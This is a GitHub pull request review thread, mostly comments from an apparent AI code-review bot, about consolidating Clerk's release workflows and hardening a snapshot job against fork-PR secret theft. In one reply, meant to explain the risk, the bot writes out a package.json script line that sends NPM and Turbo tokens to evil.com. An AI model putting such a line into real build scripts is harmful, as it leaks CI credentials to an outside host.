Conversation
Trusted publishing configuration requires the name of the workflow publishing the package and unfortunately only one workflow can be used. This is why this PR also moves everything to a single release.yml.
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
@clerk/agent-toolkit
@clerk/astro
@clerk/backend
@clerk/chrome-extension
@clerk/clerk-js
@clerk/dev-cli
@clerk/expo
@clerk/expo-passkeys
@clerk/express
@clerk/fastify
@clerk/hono
@clerk/localizations
@clerk/nextjs
@clerk/nuxt
@clerk/react
@clerk/react-router
@clerk/shared
@clerk/tanstack-react-start
@clerk/testing
@clerk/ui
@clerk/upgrade
@clerk/vue
commit: |
📝 WalkthroughWalkthroughTwo workflow files (.github/workflows/release-canary.yml and .github/workflows/release-snapshot.yml) were removed and their functionality consolidated into .github/workflows/release.yml. The consolidated workflow now supports push-triggered releases including a canary-release job and issue_comment-triggered snapshot-release job, expands concurrency grouping, tightens run conditions, adds versioning/build/publish steps for canary and snapshot flows, includes name and freshness validations for snapshots, and dispatches downstream workflow updates to related repositories when versions change. 🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/release.yml:
- Around line 199-289: The snapshot-release job currently checks out PR head and
runs npm scripts, which can execute untrusted code from forked PRs; add an
explicit guard early (before the "Checkout repo" step) in the snapshot-release
job to fetch the PR metadata and fail if the PR is from a fork (check properties
on the PR like pr.head.repo.fork or pr.head.repo.full_name !==
pr.base.repo.full_name). Update the actions/github-script step (the existing
"Limit action to Clerk members" or add a new pre-check step) to call
github.rest.pulls.get for the PR and call core.setFailed when the PR is a fork
to prevent secrets from being exposed by subsequent checkout and npm run steps
(e.g., the "Checkout repo", "Version packages for snapshot", "Build release",
and "Snapshot release" steps).
- Around line 210-224: The failure path uses an undefined identifier `actor` in
the core.setFailed call; update the script inside the GitHub Actions step that
performs the membership check (the isMember check and core.setFailed invocation)
to use the existing context.actor variable (or otherwise capture context.actor
into a local variable) when constructing the error message so core.setFailed
references a defined value.
ℹ️ Review info
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Pro
Disabled knowledge base sources:
- Linear integration is disabled
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (3)
.github/workflows/release-canary.yml.github/workflows/release-snapshot.yml.github/workflows/release.yml
💤 Files with no reviewable changes (2)
- .github/workflows/release-snapshot.yml
- .github/workflows/release-canary.yml
| snapshot-release: | ||
| name: Snapshot release | ||
| if: ${{ github.event_name == 'issue_comment' && startsWith(github.event.comment.body, '!snapshot') && github.repository == 'clerk/javascript' && github.event.issue.pull_request }} | ||
| runs-on: ${{ vars.RUNNER_LARGE || 'ubuntu-latest-l' }} | ||
| timeout-minutes: ${{ vars.TIMEOUT_MINUTES_NORMAL && fromJSON(vars.TIMEOUT_MINUTES_NORMAL) || 10 }} | ||
|
|
||
| permissions: | ||
| contents: read | ||
| id-token: write | ||
|
|
||
| steps: | ||
| - name: Limit action to Clerk members | ||
| uses: actions/github-script@v7 | ||
| with: | ||
| result-encoding: string | ||
| retries: 3 | ||
| retry-exempt-status-codes: 400,401 | ||
| github-token: ${{ secrets.CLERK_COOKIE_PAT }} | ||
| script: | | ||
| const isMember = await github.rest.orgs.checkMembershipForUser({ | ||
| org: 'clerk', | ||
| username: context.actor | ||
| }); | ||
| if (!isMember) { | ||
| core.setFailed(`@${actor} is not a member of the Clerk organization`); | ||
| } | ||
|
|
||
| - name: Checkout repo | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| ref: refs/pull/${{ github.event.issue.number }}/head | ||
| fetch-depth: 1 | ||
| fetch-tags: false | ||
| filter: 'blob:none' | ||
|
|
||
| - name: Ensure the PR hasn't changed since initiating the !snapshot command. | ||
| uses: actions/github-script@v7 | ||
| with: | ||
| result-encoding: string | ||
| retries: 3 | ||
| retry-exempt-status-codes: 400,401 | ||
| github-token: ${{ secrets.CLERK_COOKIE_PAT }} | ||
| script: | | ||
| const commentCreated = new Date(context.payload.comment.created_at); | ||
|
|
||
| const pr = await github.rest.pulls.get({ | ||
| owner: 'clerk', | ||
| repo: 'javascript', | ||
| pull_number: context.issue.number, | ||
| }); | ||
|
|
||
| const prLastUpdated = new Date(pr.updated_at); | ||
|
|
||
| if (prLastUpdated > commentCreated) { | ||
| core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command."); | ||
| } | ||
|
|
||
| - name: Setup | ||
| id: config | ||
| uses: ./.github/actions/init | ||
| with: | ||
| turbo-signature: ${{ secrets.TURBO_REMOTE_CACHE_SIGNATURE_KEY }} | ||
| turbo-team: ${{ vars.TURBO_TEAM }} | ||
| turbo-token: ${{ secrets.TURBO_TOKEN }} | ||
| registry-url: 'https://registry.npmjs.org' | ||
|
|
||
| - name: Extract snapshot name | ||
| id: extract-snapshot-name | ||
| uses: actions/github-script@v7 | ||
| with: | ||
| script: | | ||
| const match = context.payload.comment.body.match(/!snapshot (.*)/) | ||
| const name = match && match[1] || ''; | ||
| const isKebabCase = name.match(/^[a-z]+(-[a-z]+)*$/) | ||
| if(name && !isKebabCase) { | ||
| core.setFailed(`Invalid snapshot name: ${name}`); | ||
| } | ||
| core.setOutput('name', name); | ||
|
|
||
| - name: Version packages for snapshot | ||
| id: version-packages | ||
| run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT" | ||
|
|
||
| - name: Build release | ||
| if: steps.version-packages.outputs.success == '1' | ||
| run: npx turbo build $TURBO_ARGS | ||
|
|
||
| - name: Snapshot release | ||
| if: steps.version-packages.outputs.success == '1' | ||
| run: npm run release:snapshot | ||
| env: |
There was a problem hiding this comment.
Block snapshot runs on fork PRs to prevent secret exfiltration.
The snapshot workflow runs on issue_comment, checks out PR head code, and executes npm scripts while PAT/TURBO/id-token are available. A member triggering !snapshot on a fork PR could leak secrets. Add an explicit guard to fail for forked PRs before checkout (or move build/publish to a trusted workflow that never runs untrusted code).
🔒 Proposed guard against fork PRs
steps:
+ - name: Guard against fork PRs
+ id: guard
+ uses: actions/github-script@v7
+ with:
+ github-token: ${{ github.token }}
+ script: |
+ const pr = await github.rest.pulls.get({
+ owner: 'clerk',
+ repo: 'javascript',
+ pull_number: context.issue.number,
+ });
+ if (pr.head.repo.full_name !== pr.base.repo.full_name) {
+ core.setFailed('Snapshots are restricted to branches within clerk/javascript.');
+ }
+
- name: Checkout repo
uses: actions/checkout@v4🧰 Tools
🪛 GitHub Check: CodeQL
[failure] 256-265: Checkout of untrusted code in a privileged context
Potential execution of untrusted code on a privileged workflow (issue_comment)
[failure] 278-282: Checkout of untrusted code in a privileged context
Potential execution of untrusted code on a privileged workflow (issue_comment)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/release.yml around lines 199 - 289, The snapshot-release
job currently checks out PR head and runs npm scripts, which can execute
untrusted code from forked PRs; add an explicit guard early (before the
"Checkout repo" step) in the snapshot-release job to fetch the PR metadata and
fail if the PR is from a fork (check properties on the PR like pr.head.repo.fork
or pr.head.repo.full_name !== pr.base.repo.full_name). Update the
actions/github-script step (the existing "Limit action to Clerk members" or add
a new pre-check step) to call github.rest.pulls.get for the PR and call
core.setFailed when the PR is a fork to prevent secrets from being exposed by
subsequent checkout and npm run steps (e.g., the "Checkout repo", "Version
packages for snapshot", "Build release", and "Snapshot release" steps).
There was a problem hiding this comment.
The "Limit action to Clerk members" job protects against those issues
There was a problem hiding this comment.
@dominic-clerk Thanks! The member-only gate definitely helps, but it doesn’t fully cover the fork-PR case. A Clerk org member can still comment !snapshot on a forked PR, which causes this job to run in the base repo context with:
- id-token: write (OIDC available to all steps)
- CLERK_COOKIE_PAT used in multiple github-script steps
- TURBO_* secrets during Setup/publish
Because we then check out the PR head and run npm scripts, untrusted fork code could exfiltrate tokens. That’s the “checkout of untrusted code in a privileged context” CodeQL finding.
Two small hardening changes close this gap without changing behavior for same-repo PRs:
- Fail early on fork PRs (before checkout)
snapshot-release:
steps:
- name: Limit action to Clerk members
uses: actions/github-script@v7
with:
result-encoding: string
retries: 3
retry-exempt-status-codes: 400,401
github-token: ${{ secrets.CLERK_COOKIE_PAT }}
script: |
const isMember = await github.rest.orgs.checkMembershipForUser({
org: 'clerk',
username: context.actor
});
if (!isMember) {
- core.setFailed(`@${actor} is not a member of the Clerk organization`);
+ core.setFailed(`@${context.actor} is not a member of the Clerk organization`);
}
+
+ - name: Guard against fork PRs
+ uses: actions/github-script@v7
+ with:
+ github-token: ${{ github.token }}
+ script: |
+ const { owner, repo } = context.repo;
+ const { data: pr } = await github.rest.pulls.get({
+ owner, repo, pull_number: context.issue.number,
+ });
+ if (pr.head.repo.fork || pr.head.repo.full_name !== pr.base.repo.full_name) {
+ core.setFailed('Snapshots are restricted to branches within clerk/javascript (no forks).');
+ }- Run the “PR hasn’t changed” check before checkout (also fixes Octokit response usage)
- - name: Checkout repo
- uses: actions/checkout@v4
- with:
- ref: refs/pull/${{ github.event.issue.number }}/head
- fetch-depth: 1
- fetch-tags: false
- filter: 'blob:none'
-
- - name: Ensure the PR hasn't changed since initiating the !snapshot command.
+ - name: Ensure the PR hasn't changed since initiating the !snapshot command.
uses: actions/github-script@v7
with:
result-encoding: string
retries: 3
retry-exempt-status-codes: 400,401
github-token: ${{ secrets.CLERK_COOKIE_PAT }}
script: |
const commentCreated = new Date(context.payload.comment.created_at);
- const pr = await github.rest.pulls.get({
- owner: 'clerk',
- repo: 'javascript',
- pull_number: context.issue.number,
- });
- const prLastUpdated = new Date(pr.updated_at);
+ const { data: pr } = await github.rest.pulls.get({
+ owner: 'clerk',
+ repo: 'javascript',
+ pull_number: context.issue.number,
+ });
+ const prLastUpdated = new Date(pr.updated_at);
if (prLastUpdated > commentCreated) {
core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command.");
}
+
+ - name: Checkout repo
+ uses: actions/checkout@v4
+ with:
+ ref: refs/pull/${{ github.event.issue.number }}/head
+ fetch-depth: 1
+ fetch-tags: false
+ filter: 'blob:none'If you’re good with this approach, I can prep a follow-up commit/PR with the changes above. This keeps snapshots convenient for same-repo branches while closing the fork exfiltration path.
There was a problem hiding this comment.
What's the difference between a clerk org member posting !snapshot in a fork or in this repo?
There was a problem hiding this comment.
@dominic-clerk Great question! The key difference is code trust, not user trust.
Same-repo PR:
- Code comes from a branch inside
clerk/javascript - To create that branch, someone needed write access to the repo
- There's organizational control and trust over the code
Fork PR:
- Code comes from an external repository that anyone on the internet can fork
- The fork owner could be malicious or compromised
- When a Clerk member comments
!snapshoton a fork PR, the workflow runs in the base repo context (with all secrets), but then checks out and executes code from the fork
Attack scenario:
- Attacker forks
clerk/javascript - Attacker modifies
package.jsonscripts to exfiltrate secrets:"version-packages:snapshot": "curl -X POST https://evil.com -d \"$NPM_TOKEN $TURBO_TOKEN\"",
- Attacker opens a PR from their fork with an innocuous title
- A Clerk member (you) reviews the visible code changes, looks good
- You comment
!snapshot test-featureto test it - The workflow runs with
id-token: write,CLERK_COOKIE_PAT,TURBO_*secrets - Workflow checks out the attacker's fork code (Line 251)
- Workflow runs
npm run version-packages:snapshot(Line 292) — executing the attacker's modified script - Secrets are exfiltrated
Malicious actors could add code to a PR that exfiltrates your secrets, which is exactly what running untrusted code in a context with secrets could exploit.
The member-only gate prevents who can trigger the workflow, but doesn't prevent what code gets executed. For same-repo PRs, both the user and the code are trusted. For fork PRs, the user is trusted but the code isn't.
Would you like me to add the fork PR guard to close this gap?
There was a problem hiding this comment.
We trust our org members enough for now, will do the hardening in a follow-up PR
There was a problem hiding this comment.
@dominic-clerk Understood! I respect that decision. Would you like me to open a follow-up issue to track the fork PR hardening work? I can create it on GitHub or one of your Linear teams (PLAT, COM, ORGS) with the details and a link back to this discussion.
There was a problem hiding this comment.
Create an issue in the SEC team
There was a problem hiding this comment.
🧩 Analysis chain
@dominic-clerk I'll create an issue in the SEC team to track the fork PR hardening work.
🏁 Script executed:
#!/bin/bash
# Check if Linear CLI is available and try to create the issue in SEC team
if command -v linear &> /dev/null; then
# Using Linear CLI
linear issue create \
--team SEC \
--title "Harden snapshot workflow against fork PR secret exfiltration" \
--description "## Context
The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets).
While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:
1. Attacker forks clerk/javascript
2. Attacker modifies package.json scripts to exfiltrate secrets
3. Attacker opens PR from fork
4. Clerk member comments !snapshot on the fork PR
5. Workflow runs with secrets and executes attacker's malicious scripts
## Proposed Solution
Add two hardening measures:
1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)
2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling
See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
## References
- PR: https://github.com/clerk/javascript/pull/7915
- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
- Requested by: `@dominic-clerk`
- CodeQL finding: Checkout of untrusted code in a privileged context" \
--assignee dominic-clerk
else
# Try using GitHub CLI with Linear integration or direct API call
echo "Linear CLI not found. Attempting to use GitHub CLI or provide manual instructions."
# Check if gh is available
if command -v gh &> /dev/null; then
echo "GitHub CLI is available but Linear team creation requires Linear CLI or API access."
echo "Please provide Linear API key or confirm team identifier."
fi
# Provide fallback information
echo ""
echo "=== Manual Issue Creation Required ==="
echo "Team: SEC"
echo "Title: Harden snapshot workflow against fork PR secret exfiltration"
echo ""
echo "Description:"
echo "## Context"
echo ""
echo "The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets)."
echo ""
echo "While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:"
echo "1. Attacker forks clerk/javascript"
echo "2. Attacker modifies package.json scripts to exfiltrate secrets"
echo "3. Attacker opens PR from fork"
echo "4. Clerk member comments !snapshot on the fork PR"
echo "5. Workflow runs with secrets and executes attacker's malicious scripts"
echo ""
echo "## Proposed Solution"
echo ""
echo "Add two hardening measures:"
echo ""
echo "1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)"
echo "2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling"
echo ""
echo "See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229"
echo ""
echo "## References"
echo ""
echo "- PR: https://github.com/clerk/javascript/pull/7915"
echo "- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229"
echo "- Requested by: `@dominic-clerk`"
echo "- CodeQL finding: Checkout of untrusted code in a privileged context"
echo ""
echo "Assignee: dominic-clerk"
fi
Length of output: 1642
@dominic-clerk I'm unable to create a Linear issue automatically because the sandbox environment doesn't have Linear CLI or API credentials configured.
However, I've prepared the complete issue details for you to create manually in the SEC team:
Team: SEC
Title: Harden snapshot workflow against fork PR secret exfiltration
Assignee: dominic-clerk
Description:
## Context
The snapshot-release job in .github/workflows/release.yml currently checks out PR head code and executes npm scripts while sensitive credentials are available (id-token: write, CLERK_COOKIE_PAT, TURBO_* secrets).
While the workflow requires the triggering user to be a Clerk org member, it doesn't prevent members from triggering !snapshot on forked PRs. This creates a potential attack vector where:
1. Attacker forks clerk/javascript
2. Attacker modifies package.json scripts to exfiltrate secrets
3. Attacker opens PR from fork
4. Clerk member comments !snapshot on the fork PR
5. Workflow runs with secrets and executes attacker's malicious scripts
## Proposed Solution
Add two hardening measures:
1. **Fork PR guard** - Fail early if PR is from a fork (before checkout)
2. **Move PR freshness check before checkout** - Prevents running stale code and fixes Octokit response handling
See detailed implementation in: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
## References
- PR: https://github.com/clerk/javascript/pull/7915
- Comment thread: https://github.com/clerk/javascript/pull/7915#discussion_r2847390229
- Requested by: `@dominic-clerk`
- CodeQL finding: Checkout of untrusted code in a privileged contextYou can create this issue directly in Linear at your SEC team workspace, or if you'd like me to create it automatically in the future, you can configure Linear API access for the CodeRabbit integration.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 4
♻️ Duplicate comments (1)
.github/workflows/release.yml (1)
226-232: [Duplicate] Privileged checkout of potentially untrusted PR head code.This was flagged by GitHub Advanced Security (CodeQL alerts on lines 256–265, 278–282, 286–292) and in a prior review comment on lines 199–289. The author's position is that the "Limit action to Clerk members" guard is sufficient mitigation.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/release.yml around lines 226 - 232, Duplicate security flag: the "Checkout repo" step uses actions/checkout@v4 with ref: refs/pull/${{ github.event.issue.number }}/head which performs a privileged checkout of untrusted PR head code; remove or change this so you do NOT check out forked PR heads with elevated permissions—either checkout the repository at the safe base commit (use github.event.pull_request.base.sha or the base ref) or avoid checking out PR head entirely for forked PRs, and if you must run against PR code enforce additional mitigations (keep the existing "Limit action to Clerk members" guard, set persist-credentials: false, and restrict workflow permissions) in .github/workflows/release.yml's "Checkout repo" step to eliminate privileged access to untrusted code.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/release.yml:
- Around line 167-197: The createWorkflowDispatch calls are not awaited and can
be lost; update the script to await github.rest.actions.createWorkflowDispatch
for each dispatch (the calls that use clerkjsVersion/clerkUiVersion/sourceCommit
and the conditional nextjsVersion dispatch) or collect them into Promise.all and
await that before returning from the script so the HTTP requests complete; also
apply the same awaiting fix to the identical pattern in the release job.
- Around line 278-291: The snapshot job steps use npm/npx instead of pnpm which
breaks workspace resolution; update the step with id version-packages (step name
"Version packages for snapshot") to invoke the script via pnpm (pnpm run
version-packages:snapshot ...) and change the "Build release" step to run turbo
via pnpm (pnpm turbo $TURBO_ARGS) and the "Snapshot release" step to run the
release script via pnpm (pnpm run release:snapshot), ensuring the same env
(NPM_CONFIG_PROVENANCE) is preserved.
- Around line 218-224: The membership check using
github.rest.orgs.checkMembershipForUser currently treats its return value as
falsy for non-members, but the call throws a RequestError(404) instead; wrap the
call in a try/catch around github.rest.orgs.checkMembershipForUser and on a
caught error check error.status === 404 then call
core.setFailed(`@${context.actor} is not a member of the Clerk organization`)
(and exit/return) so the friendly message is shown, and also ensure 404 is
included in the workflow's retry-exempt-status-codes (or otherwise prevent
retries) so the step does not retry on the 404 path.
- Around line 244-253: The PR freshness guard is using pr.updated_at which is
undefined because Octokit responses put payload under .data; update the logic in
the github.rest.pulls.get handling (the pr variable and prLastUpdated
calculation) to read pr.data.updated_at, parse it safely into a Date, and guard
against invalid dates (e.g., if pr.data.updated_at is missing or new Date(...)
is invalid) so that the comparison with commentCreated behaves correctly and
core.setFailed is invoked when the PR is newer than the comment.
---
Duplicate comments:
In @.github/workflows/release.yml:
- Around line 226-232: Duplicate security flag: the "Checkout repo" step uses
actions/checkout@v4 with ref: refs/pull/${{ github.event.issue.number }}/head
which performs a privileged checkout of untrusted PR head code; remove or change
this so you do NOT check out forked PR heads with elevated permissions—either
checkout the repository at the safe base commit (use
github.event.pull_request.base.sha or the base ref) or avoid checking out PR
head entirely for forked PRs, and if you must run against PR code enforce
additional mitigations (keep the existing "Limit action to Clerk members" guard,
set persist-credentials: false, and restrict workflow permissions) in
.github/workflows/release.yml's "Checkout repo" step to eliminate privileged
access to untrusted code.
ℹ️ Review info
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Pro
Disabled knowledge base sources:
- Linear integration is disabled
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (1)
.github/workflows/release.yml
| - name: Trigger workflows on related repos | ||
| if: steps.publish.outcome == 'success' | ||
| uses: actions/github-script@v7 | ||
| with: | ||
| result-encoding: string | ||
| retries: 3 | ||
| retry-exempt-status-codes: 400,401 | ||
| github-token: ${{ secrets.CLERK_COOKIE_PAT }} | ||
| script: | | ||
| const clerkjsVersion = require('./packages/clerk-js/package.json').version; | ||
| const clerkUiVersion = require('./packages/ui/package.json').version; | ||
| const nextjsVersion = require('./packages/nextjs/package.json').version; | ||
|
|
||
| github.rest.actions.createWorkflowDispatch({ | ||
| owner: 'clerk', | ||
| repo: 'sdk-infra-workers', | ||
| workflow_id: 'update-pkg-versions.yml', | ||
| ref: 'main', | ||
| inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha } | ||
| }) | ||
|
|
||
| if (nextjsVersion.includes('canary')) { | ||
| console.log('clerk/nextjs changed, will notify clerk/accounts'); | ||
| github.rest.actions.createWorkflowDispatch({ | ||
| owner: 'clerk', | ||
| repo: 'accounts', | ||
| workflow_id: 'release-staging.yml', | ||
| ref: 'main', | ||
| inputs: { version: nextjsVersion } | ||
| }) | ||
| } |
There was a problem hiding this comment.
Unawaited createWorkflowDispatch calls may silently drop downstream triggers.
Neither dispatch on lines 180–186 nor 190–196 is awaited. actions/github-script resolves the script's return value but does not keep the process alive for unawaited floating promises. If the underlying HTTP requests have not completed by the time the script function returns, the dispatches are lost with no error surfaced.
🛠️ Proposed fix
- github.rest.actions.createWorkflowDispatch({
- owner: 'clerk',
- repo: 'sdk-infra-workers',
- workflow_id: 'update-pkg-versions.yml',
- ref: 'main',
- inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
- })
-
- if (nextjsVersion.includes('canary')) {
- console.log('clerk/nextjs changed, will notify clerk/accounts');
- github.rest.actions.createWorkflowDispatch({
- owner: 'clerk',
- repo: 'accounts',
- workflow_id: 'release-staging.yml',
- ref: 'main',
- inputs: { version: nextjsVersion }
- })
- }
+ const dispatches = [
+ github.rest.actions.createWorkflowDispatch({
+ owner: 'clerk',
+ repo: 'sdk-infra-workers',
+ workflow_id: 'update-pkg-versions.yml',
+ ref: 'main',
+ inputs: { clerkjsVersion, clerkUiVersion, sourceCommit: context.sha }
+ }),
+ ];
+
+ if (nextjsVersion.includes('canary')) {
+ console.log('clerk/nextjs changed, will notify clerk/accounts');
+ dispatches.push(
+ github.rest.actions.createWorkflowDispatch({
+ owner: 'clerk',
+ repo: 'accounts',
+ workflow_id: 'release-staging.yml',
+ ref: 'main',
+ inputs: { version: nextjsVersion }
+ })
+ );
+ }
+
+ await Promise.all(dispatches);Note: the same pattern exists in the unchanged release job (lines 81–102). Applying the same fix there is recommended for consistency.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/release.yml around lines 167 - 197, The
createWorkflowDispatch calls are not awaited and can be lost; update the script
to await github.rest.actions.createWorkflowDispatch for each dispatch (the calls
that use clerkjsVersion/clerkUiVersion/sourceCommit and the conditional
nextjsVersion dispatch) or collect them into Promise.all and await that before
returning from the script so the HTTP requests complete; also apply the same
awaiting fix to the identical pattern in the release job.
There was a problem hiding this comment.
Will address in a future PR, the issue pre-dates this PR
| const pr = await github.rest.pulls.get({ | ||
| owner: 'clerk', | ||
| repo: 'javascript', | ||
| pull_number: context.issue.number, | ||
| }); | ||
|
|
||
| const prLastUpdated = new Date(pr.updated_at); | ||
|
|
||
| if (prLastUpdated > commentCreated) { | ||
| core.setFailed("The PR has been updated since !snapshot was initiated. Please review the changes and re-run the !snapshot command."); |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, check the actual code at lines 244-253
sed -n '244,253p' .github/workflows/release.ymlRepository: clerk/javascript
Length of output: 500
🏁 Script executed:
# Also get broader context around this section (lines 230-260)
sed -n '230,260p' .github/workflows/release.ymlRepository: clerk/javascript
Length of output: 1158
🌐 Web query:
octokit rest pulls.get response structure data property
💡 Result:
octokit.rest.pulls.get(...) (aka octokit.pulls.get(...) in older docs) resolves to an Octokit response object shaped like:
{
data: PullRequest; // the API response body
status: number; // HTTP status (e.g. 200)
headers: object; // response headers
url: string; // final request URL
}So you typically do:
const { data: pullRequest } = await octokit.rest.pulls.get({ owner, repo, pull_number });data is the “Get a pull request” REST payload (the pull request object: id, number, state, title, user, head, base, merged, etc., per GitHub’s schema). [1][2]
Sources: [1] Octokit REST.js docs (response object includes { data, headers, status, url }) [2] GitHub REST API “Get a pull request” endpoint docs.
pr.updated_at is undefined — the PR freshness guard is silently a no-op.
Octokit wraps all REST response payloads under .data; the response object is shaped as { data: PullRequest, status, headers, url }. The code accesses pr.updated_at directly, which is undefined.
new Date(undefined) produces Invalid Date, and Invalid Date > commentCreated evaluates to false unconditionally (NaN comparison). The core.setFailed on line 253 is therefore never reached regardless of how stale the PR is, defeating the entire staleness check.
Fix
- const prLastUpdated = new Date(pr.updated_at);
+ const prLastUpdated = new Date(pr.data.updated_at);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/release.yml around lines 244 - 253, The PR freshness guard
is using pr.updated_at which is undefined because Octokit responses put payload
under .data; update the logic in the github.rest.pulls.get handling (the pr
variable and prLastUpdated calculation) to read pr.data.updated_at, parse it
safely into a Date, and guard against invalid dates (e.g., if pr.data.updated_at
is missing or new Date(...) is invalid) so that the comparison with
commentCreated behaves correctly and core.setFailed is invoked when the PR is
newer than the comment.
There was a problem hiding this comment.
Will address in a future PR, the issue pre-dates this PR
There was a problem hiding this comment.
@dominic-clerk, understood! Since this will be addressed later, would you like me to create an issue to track this bug fix?
| - name: Version packages for snapshot | ||
| id: version-packages | ||
| run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT" | ||
|
|
||
| - name: Build release | ||
| if: steps.version-packages.outputs.success == '1' | ||
| run: npx turbo build $TURBO_ARGS | ||
|
|
||
| - name: Snapshot release | ||
| if: steps.version-packages.outputs.success == '1' | ||
| run: npm run release:snapshot | ||
| env: | ||
| NPM_CONFIG_PROVENANCE: true | ||
|
|
There was a problem hiding this comment.
Snapshot job uses npm/npx while the rest of the workflow uses pnpm.
Lines 280, 284, and 288 use npm run and npx turbo, inconsistent with the canary-release and release jobs which use pnpm turbo / pnpm release:canary. In a pnpm workspace, running scripts via npm run may fail to resolve workspace-linked packages correctly.
🛠️ Proposed fix
- run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"
+ run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT"- run: npx turbo build $TURBO_ARGS
+ run: pnpm turbo build $TURBO_ARGS- run: npm run release:snapshot
+ run: pnpm release:snapshot📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Version packages for snapshot | |
| id: version-packages | |
| run: npm run version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT" | |
| - name: Build release | |
| if: steps.version-packages.outputs.success == '1' | |
| run: npx turbo build $TURBO_ARGS | |
| - name: Snapshot release | |
| if: steps.version-packages.outputs.success == '1' | |
| run: npm run release:snapshot | |
| env: | |
| NPM_CONFIG_PROVENANCE: true | |
| - name: Version packages for snapshot | |
| id: version-packages | |
| run: pnpm version-packages:snapshot ${{ steps.extract-snapshot-name.outputs.name }} | tail -1 >> "$GITHUB_OUTPUT" | |
| - name: Build release | |
| if: steps.version-packages.outputs.success == '1' | |
| run: pnpm turbo build $TURBO_ARGS | |
| - name: Snapshot release | |
| if: steps.version-packages.outputs.success == '1' | |
| run: pnpm release:snapshot | |
| env: | |
| NPM_CONFIG_PROVENANCE: true | |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/release.yml around lines 278 - 291, The snapshot job steps
use npm/npx instead of pnpm which breaks workspace resolution; update the step
with id version-packages (step name "Version packages for snapshot") to invoke
the script via pnpm (pnpm run version-packages:snapshot ...) and change the
"Build release" step to run turbo via pnpm (pnpm turbo $TURBO_ARGS) and the
"Snapshot release" step to run the release script via pnpm (pnpm run
release:snapshot), ensuring the same env (NPM_CONFIG_PROVENANCE) is preserved.
There was a problem hiding this comment.
Will address in a future PR, the issue pre-dates this PR
There was a problem hiding this comment.
@dominic-clerk, sounds good! Feel free to ping me if you need any help when you address this in the future PR.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
♻️ Duplicate comments (4)
.github/workflows/release.yml (4)
243-255:⚠️ Potential issue | 🟠 MajorPR freshness guard reads the wrong field and never fires.
github.rest.pulls.getreturns{ data: ... }, sopr.updated_atis undefined and the comparison is a no-op.🛠️ Fix payload access
- const pr = await github.rest.pulls.get({ + const { data: pr } = await github.rest.pulls.get({ owner: 'clerk', repo: 'javascript', pull_number: context.issue.number, }); const prLastUpdated = new Date(pr.updated_at);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/release.yml around lines 243 - 255, The freshness check is using pr.updated_at but github.rest.pulls.get returns an object with the payload on the data field, so pr.updated_at is undefined; update the code that calls github.rest.pulls.get (or its result handling) to read the timestamp from the returned data (e.g., use pr.data.updated_at or destructure the response to const { data: pr } = await github.rest.pulls.get(...)) and then compare new Date(pr.updated_at) against the comment creation time before calling core.setFailed to ensure the guard actually fires.
66-105:⚠️ Potential issue | 🟠 MajorAwait downstream workflow dispatches to avoid dropped triggers.
